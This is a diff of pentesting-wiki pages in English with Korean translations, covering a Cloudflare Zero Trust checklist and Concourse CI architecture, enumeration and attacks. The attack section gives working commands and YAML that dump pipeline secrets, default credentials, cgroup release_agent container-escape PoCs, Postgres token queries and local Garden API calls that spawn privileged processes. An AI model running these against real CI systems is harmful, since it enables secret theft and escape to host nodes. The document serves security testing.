- [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
- [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
- [ ] **누가** 애플리케이션에 접근할 수 있는지 **Policies**에서 확인하고, **접근이 필요한 사용자만** 애플리케이션에 접근할 수 있도록 확인합니다.
- 접근을 허용하기 위해 **`Access Groups`**가 사용될 것이며 (**추가 규칙**도 설정할 수 있음)
- [ ] **사용 가능한 아이덴티티 제공자**를 확인하고 **너무 개방적이지 않은지** 확인합니다.
- [ ] **`Settings`**에서:
- [ ] **CORS가 활성화되지 않았는지** 확인합니다 (활성화된 경우, **안전한지** 확인하고 모든 것을 허용하지 않는지 확인합니다).
- [ ] 쿠키는 **Strict Same-Site** 속성을 가져야 하며, **HTTP Only** **binding cookie**는 애플리케이션이 HTTP인 경우 **활성화**되어야 합니다.
- [ ] 더 나은 **보호를 위해** **Browser rendering**도 활성화하는 것을 고려합니다. **자세한 정보는** [**원격 브라우저 격리 여기**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**에서 확인하세요.**
#### **Access Groups**
- [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
- [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
- Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
- [ ] 생성된 접근 그룹이 **사용자에게 올바르게 제한**되어 있는지 확인합니다.
- [ ] **기본 접근 그룹이 너무 개방적이지 않은지** 확인하는 것이 특히 중요합니다 (너무 많은 사람을 **허용하지 않음**) 기본적으로 해당 **그룹**의 모든 사람이 **애플리케이션에 접근**할 수 있습니다.
- **모두**에게 **접근**을 허용하거나 **매우 개방적인 정책**을 설정하는 것이 가능하지만, 100% 필요하지 않는 한 권장되지 않습니다.
#### Service Auth
- [ ] Check that all service tokens **expires in 1 year or less**
- [ ] 모든 서비스 토큰이 **1년 이하**로 만료되는지 확인합니다.
#### Tunnels
@@ -50,15 +50,12 @@ TODO
### Logs
- [ ] You could search for **unexpected actions** from users
- [ ] 사용자로부터 **예상치 못한 행동**을 검색할 수 있습니다.
### Settings
- [ ] Check the **plan type**
- [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
- [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
- [ ] **플랜 유형**을 확인합니다.
- [ ] **신용 카드 소유자 이름**, **마지막 4자리**, **만료** 날짜 및 **주소**를 확인할 수 있습니다.
- **이 서비스를 실제로 사용하지 않는** 사용자를 제거하기 위해 **User Seat Expiration**을 **추가하는 것이 권장됩니다.**
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,35 +2,32 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
Concourse는 필요할 때마다(시간 기반, 무언가가 발생할 때...) 테스트, 작업 및 이미지를 자동으로 실행하기 위해 **파이프라인을 구축**할 수 있게 해줍니다.
## Concourse Architecture
## Concourse 아키텍처
Learn how the concourse environment is structured in:
Concourse 환경이 어떻게 구조화되어 있는지 알아보세요:
{{#ref}}
concourse-architecture.md
{{#endref}}
## Concourse Lab
## Concourse 실험실
Learn how you can run a concourse environment locally to do your own tests in:
자신의 테스트를 수행하기 위해 로컬에서 concourse 환경을 실행하는 방법을 알아보세요:
{{#ref}}
concourse-lab-creation.md
{{#endref}}
## Enumerate & Attack Concourse
## Concourse 열거 및 공격
Learn how you can enumerate the concourse environment and abuse it in:
Concourse 환경을 열거하고 이를 악용하는 방법을 알아보세요:
{{#ref}}
concourse-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,39 +4,35 @@
## Concourse Architecture
[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
[**Concourse 문서에서의 관련 데이터:**](https://concourse-ci.org/internals.html)
### Architecture
![](<../../images/image (187).png>)
#### ATC: web UI & build scheduler
#### ATC: UI 및 빌드 스케줄러
The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
ATC는 Concourse의 핵심입니다. **웹 UI API**를 실행하며 모든 파이프라인 **스케줄링**을 담당합니다. **PostgreSQL**에 연결되어 파이프라인 데이터를 저장하는 데 사용합니다(빌드 로그 포함).
The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
[체커](https://concourse-ci.org/checker.html)의 책임은 리소스의 새로운 버전을 지속적으로 확인하는 것입니다. [스케줄러](https://concourse-ci.org/scheduler.html)는 작업에 대한 빌드를 스케줄링하는 책임이 있으며, [빌드 트래커](https://concourse-ci.org/build-tracker.html)는 예약된 빌드를 실행하는 책임이 있습니다. [가비지 컬렉터](https://concourse-ci.org/garbage-collector.html)는 사용되지 않거나 오래된 객체(예: 컨테이너 및 볼륨)를 제거하는 정리 메커니즘입니다.
#### TSA: worker registration & forwarding
#### TSA: 워커 등록 및 포워딩
The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
TSA는 **워커** [**ATC**](https://concourse-ci.org/internals.html#component-atc)와 안전하게 **등록**하는 데만 사용되는 **맞춤형 SSH 서버**입니다.
The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
TSA는 **기본적으로 포트 `2222`**에서 수신 대기하며, 일반적으로 [ATC](https://concourse-ci.org/internals.html#component-atc)와 함께 배치되고 로드 밸런서 뒤에 위치합니다.
The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
**TSA는 SSH 연결을 통해 CLI를 구현하며,** [**이 명령어들**](https://concourse-ci.org/internals.html#component-tsa)을 지원합니다.
#### Workers
In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
작업을 실행하기 위해 Concourse는 일부 워커가 필요합니다. 이 워커들은 [TSA](https://concourse-ci.org/internals.html#component-tsa)를 통해 **자신을 등록**하고 [**Garden**](https://github.com/cloudfoundry-incubator/garden) [**Baggageclaim**](https://github.com/concourse/baggageclaim) 서비스를 실행합니다.
- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
- **Garden**: 이것은 **컨테이너 관리 API**, 일반적으로 **포트 7777**에서 **HTTP**를 통해 실행됩니다.
- **Baggageclaim**: 이것은 **볼륨 관리 API**, 일반적으로 **포트 7788**에서 **HTTP**를 통해 실행됩니다.
## References
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -8,47 +8,45 @@
### User Roles & Permissions
Concourse comes with five roles:
Concourse는 다섯 가지 역할을 제공합니다:
- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
- **owner**: Team owners can **modify everything within the team**.
- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
- _Concourse_ **Admin**: 이 역할은 **주 팀**(기본 초기 concourse 팀)의 소유자에게만 부여됩니다. Admin은 **다른 팀을 구성**할 수 있습니다 (예: `fly set-team`, `fly destroy-team`...). 이 역할의 권한은 RBAC에 의해 영향을 받을 수 없습니다.
- **owner**: 팀 소유자는 **팀 내 모든 것을 수정**할 수 있습니다.
- **member**: 팀 구성원은 **팀 자산 내에서 읽고 쓸 수** 있지만 팀 설정을 수정할 수는 없습니다.
- **pipeline-operator**: 파이프라인 운영자는 빌드를 트리거하고 리소스를 고정하는 등의 **파이프라인 작업**을 수행할 수 있지만, 파이프라인 구성을 업데이트할 수는 없습니다.
- **viewer**: 팀 뷰어는 팀과 그 파이프라인에 대해 **"읽기 전용" 접근** 권한을 가집니다.
> [!NOTE]
> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
> 또한, **owner, member, pipeline-operator viewer 역할의 권한은 RBAC를 구성하여 수정할 수 있습니다** (더 구체적으로는 그 행동을 구성합니다). 이에 대한 자세한 내용은: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)에서 확인하세요.
Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
Concourse는 **팀 내에서 파이프라인을 그룹화**합니다. 따라서 팀에 속한 사용자는 해당 파이프라인을 관리할 수 있으며 **여러 팀**이 존재할 수 있습니다. 사용자는 여러 팀에 속할 수 있으며 각 팀 내에서 다른 권한을 가질 수 있습니다.
### Vars & Credential Manager
In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
YAML 구성에서 `((_source-name_:_secret-path_._secret-field_))` 구문을 사용하여 값을 구성할 수 있습니다.\
[문서에서:] (https://concourse-ci.org/vars.html#var-syntax) **source-name은 선택 사항**이며 생략할 경우 [클러스터 전체 자격 증명 관리자](https://concourse-ci.org/vars.html#cluster-wide-credential-manager)가 사용되거나 값이 [정적으로](https://concourse-ci.org/vars.html#static-vars) 제공될 수 있습니다.\
**선택적 \_secret-field**\_는 가져온 비밀에서 읽을 필드를 지정합니다. 생략할 경우, 자격 증명 관리자는 필드가 존재하는 경우 가져온 자격 증명에서 '기본 필드'를 읽도록 선택할 수 있습니다.\
또한, _**secret-path**_ 및 _**secret-field**_는 `.``:`와 같은 **특수 문자를 포함**하는 경우 이중 따옴표 `"..."`로 둘러싸일 수 있습니다. 예를 들어, `((source:"my.secret"."field:1"))`는 _secret-path_를 `my.secret`로, _secret-field_를 `field:1`로 설정합니다.
#### Static Vars
Static vars can be specified in **tasks steps**:
정적 변수는 **작업 단계**에서 지정할 수 있습니다:
```yaml
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
Or using the following `fly` **arguments**:
- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
- `-v` 또는 `--var` `NAME=VALUE`는 문자열 `VALUE` var `NAME`의 값으로 설정합니다.
- `-y` 또는 `--yaml-var` `NAME=VALUE` `VALUE` YAML로 파싱하고 var `NAME`의 값으로 설정합니다.
- `-i` 또는 `--instance-var` `NAME=VALUE` `VALUE` YAML로 파싱하고 인스턴스 var `NAME`의 값으로 설정합니다. 인스턴스 vars에 대해 더 알아보려면 [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html)를 참조하세요.
- `-l` 또는 `--load-vars-from` `FILE`는 var 이름과 값을 매핑하는 YAML 문서인 `FILE`을 로드하고 모두 설정합니다.
#### Credential Management
There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Moreover, Concourse supports different credential managers:
파이프라인에서 **Credential Manager를 지정하는 방법**은 여러 가지가 있으며, [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html)에서 읽어보세요.\
또한, Concourse는 다양한 자격 증명 관리자를 지원합니다:
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
@@ -61,160 +59,151 @@ Moreover, Concourse supports different credential managers:
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
> Concourse에 **쓰기 권한**이 있는 경우, **그 비밀을 유출하기 위해** 작업을 생성할 수 있다는 점에 유의하세요. Concourse는 이를 접근할 수 있어야 합니다.
### Concourse Enumeration
In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
Concourse 환경을 열거하기 위해서는 먼저 **유효한 자격 증명**을 수집하거나 `.flyrc` 구성 파일에서 **인증된 토큰**을 찾아야 합니다.
#### Login and Current User enum
- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Get configured **targets**:
- `fly targets`
- Get if the configured **target connection** is still **valid**:
- `fly -t <target> status`
- Get **role** of the user against the indicated target:
- `fly -t <target> userinfo`
- 로그인하려면 **엔드포인트**, **팀 이름**(기본값은 `main`), 그리고 **사용자가 속한 팀**을 알아야 합니다:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- 구성된 **대상** 가져오기:
- `fly targets`
- 구성된 **대상 연결**이 여전히 **유효한지** 확인하기:
- `fly -t <target> status`
- 지정된 대상에 대한 사용자의 **역할** 가져오기:
- `fly -t <target> userinfo`
> [!NOTE]
> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
> **API 토큰**은 기본적으로 `$HOME/.flyrc`에 **저장**되며, 기계를 훔치는 경우 그곳에서 자격 증명을 찾을 수 있습니다.
#### Teams & Users
- Get a list of the Teams
- `fly -t <target> teams`
- Get roles inside team
- `fly -t <target> get-team -n <team-name>`
- Get a list of users
- `fly -t <target> active-users`
- 팀 목록 가져오기
- `fly -t <target> teams`
- 팀 내 역할 가져오기
- `fly -t <target> get-team -n <team-name>`
- 사용자 목록 가져오기
- `fly -t <target> active-users`
#### Pipelines
- **List** pipelines:
- `fly -t <target> pipelines -a`
- **Get** pipeline yaml (**sensitive information** might be found in the definition):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Get all pipeline **config declared vars**
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
- **리스트** 파이프라인:
- `fly -t <target> pipelines -a`
- **가져오기** 파이프라인 yaml (**민감한 정보**가 정의에 포함될 수 있음):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- 모든 파이프라인 **구성 선언된 vars** 가져오기
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- 사용된 모든 **파이프라인 비밀 이름** 가져오기 (작업을 생성/수정하거나 컨테이너를 탈취할 수 있다면 이를 유출할 수 있음):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
#### 컨테이너 및 워커
#### Containers & Workers
- **워커** 목록:
- `fly -t <target> workers`
- **컨테이너** 목록:
- `fly -t <target> containers`
- **빌드** 목록 (실행 중인 것을 보려면):
- `fly -t <target> builds`
- List **workers**:
- `fly -t <target> workers`
- List **containers**:
- `fly -t <target> containers`
- List **builds** (to see what is running):
- `fly -t <target> builds`
### Concourse 공격
### Concourse Attacks
#### Credentials Brute-Force
#### 자격 증명 무작위 대입
- admin:admin
- test:test
#### Secrets and params enumeration
#### 비밀 및 매개변수 열거
In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
이전 섹션에서는 파이프라인에서 사용되는 **모든 비밀 이름과 변수**를 **가져오는 방법**을 보았습니다. **변수는 민감한 정보를 포함할 수 있으며**, **비밀의 이름은 나중에 이를 훔치기 위해 유용할 것입니다.**
#### Session inside running or recently run container
If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `<pipeline>/<job>` **container** using:
#### 실행 중이거나 최근에 실행된 컨테이너 내 세션
충분한 권한(**회원 역할 이상**)이 있는 경우, **파이프라인 및 역할**을 **목록화**하고 `<pipeline>/<job>` **컨테이너** 내에서 **세션을 얻을 수 있습니다**:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
이 권한으로 다음을 수행할 수 있습니다:
With these permissions you might be able to:
- **컨테이너** 내부의 **비밀**을 **훔치기**
- **노드**로 **탈출** 시도
- **클라우드 메타데이터** 엔드포인트 열거/악용 (가능한 경우 포드와 노드에서)
- **Steal the secrets** inside the **container**
- Try to **escape** to the node
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
#### Pipeline Creation/Modification
If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
#### 파이프라인 생성/수정
충분한 권한(**회원 역할 이상**)이 있다면 **새 파이프라인을 생성/수정**할 수 있습니다. 이 예제를 확인하세요:
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
새로운 파이프라인의 **수정/생성**을 통해 다음을 수행할 수 있습니다:
With the **modification/creation** of a new pipeline you will be able to:
- **비밀**을 **탈취**하기 (출력을 통해 또는 컨테이너에 들어가 `env`를 실행하여)
- **노드**로 **탈출**하기 (충분한 권한을 부여받아 - `privileged: true`)
- **클라우드 메타데이터** 엔드포인트 열거/악용하기 (파드와 노드에서)
- 생성된 파이프라인 **삭제**하기
- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
- **Delete** created pipeline
#### Execute Custom Task
This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
#### 사용자 정의 작업 실행
이것은 이전 방법과 유사하지만 전체 새로운 파이프라인을 수정/생성하는 대신 **단순히 사용자 정의 작업을 실행**할 수 있습니다 (이는 아마도 훨씬 더 **은밀할** 것입니다):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
SUPER_SECRET: ((super.secret))
```
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
#### 특권 작업에서 노드로 탈출하기
#### Escaping to the node from privileged task
In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
In the following PoC we are going to use the release_agent to escape with some small modifications:
이전 섹션에서는 **concourse로 특권 작업을 실행하는 방법**을 살펴보았습니다. 이는 도커 컨테이너의 특권 플래그와 정확히 동일한 접근 권한을 컨테이너에 부여하지 않습니다. 예를 들어, /dev에서 노드 파일 시스템 장치를 볼 수 없으므로 탈출이 더 "복잡할" 수 있습니다.
다음 PoC에서는 몇 가지 작은 수정을 통해 release_agent를 사용하여 탈출할 것입니다:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -272,14 +261,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
> [!WARNING]
> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
> 당신이 알다시피, 이것은 단지 [**정상적인 release_agent 탈출**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md)로, 노드의 cmd 경로를 수정하는 것입니다.
#### Escaping to the node from a Worker container
A regular release_agent escape with a minor modification is enough for this:
#### Worker 컨테이너에서 노드로 탈출하기
약간의 수정이 가해진 정상적인 release_agent 탈출로 충분합니다:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -306,13 +293,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
#### Web 컨테이너에서 노드로 탈출하기
#### Escaping to the node from the Web container
Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
However, it stores **local credentials in clear text**:
웹 컨테이너에 일부 방어가 비활성화되어 있더라도 **일반적인 특권 컨테이너로 실행되지 않습니다** (예를 들어, **마운트**할 수 없고 **권한**이 매우 **제한적이므로**, 컨테이너에서 탈출하는 쉬운 방법들은 쓸모가 없습니다).
그러나 **로컬 자격 증명을 평문으로 저장합니다**:
```bash
cat /concourse-auth/local-users
test:test
@@ -321,11 +306,9 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
해당 자격 증명을 사용하여 **웹 서버에 로그인**하고 **특권 컨테이너를 생성하여 노드로 탈출**할 수 있습니다.
You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
환경에서는 concourse가 사용하는 **postgresql** 인스턴스에 접근하기 위한 정보(주소, **사용자 이름**, **비밀번호** 및 데이터베이스 등)를 찾을 수 있습니다:
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -346,39 +329,35 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
#### Abusing Garden Service - Not a real Attack
#### Garden Service 남용 - 실제 공격이 아님
> [!WARNING]
> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
> 이 서비스에 대한 흥미로운 메모일 뿐이며, 로컬호스트에서만 수신 대기하므로 이 메모는 우리가 이미 이용한 것 외에 어떤 영향도 미치지 않을 것입니다.
By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
기본적으로 각 concourse worker는 포트 7777에서 [**Garden**](https://github.com/cloudfoundry/garden) 서비스를 실행합니다. 이 서비스는 웹 마스터가 worker에게 **실행해야 할 작업**(이미지를 다운로드하고 각 작업을 실행)을 지시하는 데 사용됩니다. 공격자에게는 꽤 좋은 소리지만, 몇 가지 좋은 보호 장치가 있습니다:
- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
Concourse workers run with high container privileges:
- **로컬에서만 노출**되어 있으며(127..0.0.1), worker가 특별한 SSH 서비스로 웹에 인증할 때, 웹 서버가 각 worker 내부의 **각 Garden 서비스**와 **통신**할 수 있도록 터널이 생성된다고 생각합니다.
- 웹 서버는 **몇 초마다 실행 중인 컨테이너를 모니터링**하며, **예상치 못한** 컨테이너는 **삭제**됩니다. 따라서 **사용자 정의 컨테이너**를 **실행**하려면 웹 서버와 garden 서비스 간의 **통신**을 **변조**해야 합니다.
Concourse workers는 높은 컨테이너 권한으로 실행됩니다:
```
Container Runtime: docker
Has Namespaces:
pid: true
user: false
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
그러나 노드의 /dev 장치 또는 release_agent를 **마운트**하는 것과 같은 기술은 **작동하지 않습니다** (노드의 파일 시스템이 있는 실제 장치에 접근할 수 없고, 오직 가상 장치만 있습니다). 우리는 노드의 프로세스에 접근할 수 없으므로, 커널 익스플로잇 없이 노드에서 탈출하는 것은 복잡해집니다.
> [!NOTE]
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
> 이전 섹션에서는 특권 컨테이너에서 탈출하는 방법을 보았으므로, **현재** **작업자**가 생성한 **특권 컨테이너**에서 명령을 **실행**할 수 있다면, **노드로 탈출**할 수 있습니다.
Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
**Getting inside a running privileged container**
concourse를 사용하면서 새로운 컨테이너가 무언가를 실행하기 위해 생성될 때, 컨테이너 프로세스가 작업자 컨테이너에서 접근 가능하다는 것을 알게 되었습니다. 그래서 마치 컨테이너가 그 안에 새로운 컨테이너를 생성하는 것과 같습니다.
**실행 중인 특권 컨테이너 내부로 들어가기**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -391,30 +370,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
**새로운 특권 컨테이너 만들기**
**Creating a new privileged container**
You can very easily create a new container (just run a random UID) and execute something on it:
무작위 UID를 실행하기만 하면 매우 쉽게 새로운 컨테이너를 만들고 그 위에서 무언가를 실행할 수 있습니다:
```bash
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
